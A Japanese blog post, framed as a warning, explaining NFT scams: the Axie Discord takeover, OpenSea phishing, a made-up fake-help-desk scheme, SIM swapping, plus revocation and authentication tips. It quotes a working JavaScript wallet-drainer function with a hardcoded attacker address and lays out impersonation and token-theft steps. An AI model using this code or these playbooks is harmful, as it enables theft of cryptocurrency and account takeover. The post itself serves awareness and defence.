Written by Manabu Bannai

【悪用厳禁】NFTプロジェクトを「ハッキング」する方法【注意喚起】

こんにちは、マナブです。
まずは、下記のツイートをご覧ください。

注意喚起として、記事で解説していきます。

記事のもくじ

知識があれば、詐欺を見抜くことができます。
10分で読めます。これを機に、学んでみてください。

1.Axieのハッキング事例から、詐欺方法を学ぶ

まずは「Axie Infinity」の「詐欺事例」から学びます。

この方法は「再現性」が高いです

言うまでもなく、悪用厳禁です。情報ソースは「Axie Infinity to reimburse users who lost funds due to the hack」です。話をわかりやすくする為に、3名の登場人物を使います。

上記のとおり。そして、犯行の手順は下記となります。

Axie Infinityの犯人の行動とは

この時点で、管理人Bは「濡れ衣」を着せられます。何もしていないのに、突然に「アクセス権利」を消されます。そして犯人が運営を装い、管理人Bに連絡をします。

犯人が「運営」に成りすまして、管理人Bに連絡する

このような方法で、管理人Bから情報を盗みます。なお、Discordには「認証トークン」という機能がありまして、その「トークン」を盗むことで、アカウントを乗っ取ることができます。

つまり、管理人Bは「認証トークン」を犯人に渡した時点で、アカウントを乗っ取られています。もうログインできません。その後に、犯人は「管理人B」に成りすましつつ、管理人Aに連絡します。

犯人が「管理人B」に成りすまして、管理人Aに連絡する

上記のとおり。この時点で犯人は「管理人Bのアカウントの乗っ取り」に成功しました。この先は、とても簡単なフェーズです。

運営者として、偽のアナウンスをする

その後に犯人は、Discord内で下記アナウンスをします。

そのリンクをクリックすると、犯人が作ったサイトに繋がります。そして「NFTの購入ボタン」を押すと、自分のお金が盗まれる訳です。なお、犯人が使ったコードは下記です。

function sendEth() {
     let givenNumber = document.querySelector ("#mintnumber").value;
     web3.eth.sendTransaction({
          from: web3.currentProvider.selectedAddress,
          to: '0x809771aB194355a5Cfa67ae1902c6359Db25FCaC',
          value: (web3.utils. towei (givenNumber,'ether')*0.1),
     });
}

こちら「Ethereumのプログラミング」を少しでも学んだ方なら、わりと誰でも書けるはず。言うまでもなく、コピペでも動きます。そして、下記をご覧ください。

上記では「購入者のウォレットから、犯人のアドレスに対して、0.1ETHを送る」と記載されています。犯人に騙された人は、ここで自分のETHを失いました。

なお、今回は「0.1 ETHを送る」という方法でしたが、もっと危険な手法もあります。次の項目で解説します。

OpenSeaからNFTを盗む方法

先日に「OpenSeaでのフィッシング詐欺」が発生しました。ここで犯人は「数億円」のNFTを盗んだのですが、方法は下記のとおり。

簡単に解説すると、まず犯人は「偽のメール」を「OpenSeaの利用者」に送ります。そのメールには「アカウントをアップデートしてください」と記載されており、被害を受けた人は、そこでボタンを押してしまいました。

すると、どうなるか?
次の画像の「スマートコントラクト」が実行されます。

上記のコードには「stealNFTs」という機能が搭載されており、こちらが実行されると、自分のウォレットの「サイン(=鍵のデータ) 」が、犯人の「サーバー」に保存されます。すると犯人は、いつでも「あなたの財布」から「コインやNFT」を取り出せます。

注意喚起:ハッキングに時差がある話

OpenSeaのケースでは、下記の時間軸でした。

犯人がすぐに行動しなかった理由は、被害者のリストを増やす為です。OpenSeaをハッキングしたら、間違いなくニュースになります。ニュースになると、警戒する人が増えます。なので行動する際には、一気に行動して、一気に騙すほうがコスパ良いです。

ここから分かることは「犯人は、あなたの鍵を保存している可能性がある」ということです。なので、過去に一度でも「怪しいサイト」にウォレットを繋いだことがあるなら、かなり警戒すべきです。じゃあ、どうしたらいいか? 次で解説します。

リボークの重要性(※拡散希望)

皆さんは、メタマスクの「リボーク」を知っていますか?メタマスクで接続する際には、必ず「ウォレットの認証」がありますよね。その認証を取り消すことを、リボークと呼びます。

これには専用ツールがありまして、例えば「Revoke.cash」というサイトがあります。他にもあるので何でもOKですが、こういったツールに繋いでみて、怪しい認証がないかを確認してみてください。

実際にツールを使ってみる

revoke.cash ツールを使うと、上記の表示が出てきます。注目すべきは、下記の部分です。

僕の場合は「0xA79...(=Curve.fi)」と「Uniswap」と「Polygon Bridge」に「Unlimited allowance (=無制限の費用)」を許可しています。

これらの3つは、僕は信頼しています。なので許可しています。このツールに繋いでみて、怪しげな名称があるなら、それは取り消すべきです。

ぜひ参考にしてみてください。もし良かったら「SNS拡散」や、もしくは友人に教えてあげてください。ここにトラップがあると、将来的にハッキングされる可能性があります。

ハッキング対策も解説します

リボークも大切ですが、そもそも「怪しいサイトに接続しないこと」が重要です。その上で、下記のツイートをご覧ください。

詳しくは「すべてのツイート」を読んで欲しいですが、要約すると「メタマスクの認証画面を、必ず確認しましょう」という内容です。特に下記の部分です。

metamask opensea

メタマスクで接続をするときに、こういった表示が出てきますよね。その際に、必ず「赤枠の部分」を確認してください。ここに怪しい文字が出ていたら、すぐに逃げるべきです。

というわけで、以上が「チャプター①」です。
後半では「その他のハッキング事例」を学んでいきます。

2.ソーシャルエンジニアリングとは【定番手法】

social-engineering

前半では「Axie Infinity」の「詐欺事例」を解説しました。こういった詐欺の方法を「ソーシャル・エンジニアリング」と呼びます。要するに、人間を騙しつつ、上手くハッキングをする手法です。

コードのバグ探しは大変ですが、人間のミスを誘導するのは簡単です。

今後のNFT市場では、色々な詐欺案件が出てくるはず。というわけで、知識は武器になるので、事前に学んでおきましょう。

手法①:NFTの配布キャンペーン

冒頭のツイートを、再度掲載させてください。

上記のとおり。今となっては、簡単だと分かりますよね。

Twitterで「NFT配布キャンペーン」をしつつ、詐欺サイトに誘導して、そこから「ウォレットの鍵」を盗めばOKです。

最近はNFTがバズっているので、知名度のないアカウントでもRTを増やせます。つまり悪い人からしたら、絶好のチャンスなんですよね。

過去には「CD-ROM」が配られていた

フィッシング詐欺の事例は、昔からあります。過去には「CD-ROMがトイレに置かれている」という事件があったみたいです。CD-ROMのラベルには「2012年:授業員の給料データ」というシールが貼られています。

こういったCDを見つけたら、皆さんはどうしますか? 興味が湧いて、パソコンに挿してしまうかもですよね。そうなったら、ウイルスに感染します。こういった方法が「定番のフィッシング詐欺」です。

補足:ハードウェアウォレットも要注意

上記のツイートのとおり。ハードウェアウォレットを買う場合も、必ず「公式ストア」から購入しましょう。そうじゃないと、かなり危険です。

手法②:ヘルプデスクを変更する

2つの手法です。お問い合わせ先を偽ることで、簡単に詐欺を実行できます。

例えばですが、どこかの会社に侵入します。その後に「社内報」の掲示板を探し、そこに「ヘルプデスク変更の件」という張り紙を出します。

例えばですが、上記の感じです。言うまでもなくですが、新しいヘルプデスクは「犯人」が管理しています。そこにお問い合わせが入ったら、社員を騙せますよね。こういった方法は、オンラインでも応用できます。

再現性が高そうな方法(悪用厳禁)

ただの思いつきですが、ちょっと書いてみます。

僕が悪者なら、人々の混乱を利用します。例えば「OpenSea」がハッキングされたときに、新規で「OpenSea - Help Desk」といった「Twitterアカウント」を作ります。もしくは、フォロワー数の多いアカウントを購入してもOKです。

その後に「OpenSeaがハッキングされたので、緊急のヘルプデスクを設置しました。お問い合わせはコチラからお願いします」といったツイートをします。

これにて完了です。
お問い合わせしてきた人の情報を抜けますよね。

さらに言うと、ここでお問い合わせしてくる人は、焦っている可能性が高いです。なぜなら、OpenSeaがハッキングされたからです。混乱に乗っかることで、詐欺の成功率が高まりそうですね。

こういった感じで、人間をハッキングすることが出来ます。次が最後です。3つ目の「ソーシャル・エンジニアリング手法」を見ていきましょう。

手法③:SIMスワップ詐欺(危険)

ぶっちゃけ、これが最も危険です。ぜひ理解してください。

SIMスワップ詐欺とは

要するに「ソーシャルエンジニアリング × SIMハック」という感じです。

特定の人に成りすましつつ、携帯会社に連絡します。そして「スマホを無くしてしまった」と話し、その後に「新しいSIMのアクティベート」を依頼します。詳しい方法は「ケース・バイ・ケース」なので記載しません。

しかし伝えたいことは、ここで携帯会社が騙されてしまうと、簡単に「あなたのSIMカード」が盗まれる可能性があります

SIMカードを盗まれたら、簡単に「パスワードリセット」や「二段階認証の突破」が出来ますよね。もしくはSNSアカウントが乗っ取られて、友人にも被害が及ぶ可能性があります。

ここは直接的に「NFT」や「クリプト」とは関係しませんが、とはいえ「取引所アカウントのハッキング」をされたら、たぶん萎える人が多いはず。

対策方法は「電話認証+二段階認証+メール認証」を設定することです。僕は「Binance」という取引所を使っていますが、3つの方法で認証しています。特に重要なアカウントは、3つ以上の方法で認証しましょう。

3.詐欺方法を「マーケティング」に活かす思考

hacking marketing

最後に「オマケ」のパートです。マーケティング理論です。

詐欺手法から、マーケ手法を学ぶ

ソーシャルエンジニアリングのWikipediaには、下記が書かれています。

Six key principles(6つの重要な原則)

上記のとおり。これって、そのまま「マーケティング手法」にも使えるんですよね。なので解説してみます。最強の詐欺師は、最強のマーケターかもしれません。

原則どおりに、詐欺マーケを考えてみる

記事の前半で「Axie Infinity」の「詐欺事例」を解説しました。 この事例を応用しつつ、マーケティング設計を考えてみます。

上記の設定です。下記にて、詳しく解説します。

まず犯人は「公式のDiscordアカウント」を乗っ取ります。そして「公式からの発表」として、10時間限定キャンペーンを公開します。キャンペーン内容は「限定NFTを購入することができて、数量は”100個”のみ」という内容です。

さらに販売ページには、販売済みの「NFTの数」が表示されており、残りの数はどんどん減っていきます。さらに公式のDiscordには、大量のサクラを呼び込んでおきます。そのサクラ達は「自分は限定NFTを獲得できた」と書き込んでおり、これが「安心感」に繋がります。

以上のストーリーには、6つの重要な原則を盛り込みました。どうでしょうか。こういった方法だと、普通に再現性がありそうです。

最後にお願い:被害者を減らす為に

今回は「色々なハッキング事例」のフォーカスして記事を書きました。怖い内容だったかもですが、大切な知識です。僕がこういった記事を書く理由は、業界を良くする為です。

では、どうやったら解決できるのか?
結論は「知識武装するしかない」と思います。

この記事を読んで、一部の人は「こんなことを書いたら、、真似する人が出てきて、被害は増えるのでは、、?」と考えたかもです。 しかし現実は逆のはず。

こういった方法を公開することで、被害を事前に防げます。また、ググれば出てくる情報でもあるので、本気で詐欺をしたい人はググっているはず。

今回の記事は「新しいテクノロジーに興味あるけど、しかしセキュリティ面も知っておきたい」という方向けに書きました。特に「メタマスクのリボーク」などは、わりと業界に詳しい人でも、あまり理解していなかったりします。

もしよかったら、記事拡散いただけたら嬉しいです。もしくは、友人に教えてあげてください。知識を増やすことで、間違いなく防御力を高めることができます。

以上となります。
読んでいただきまして、ありがとうございます。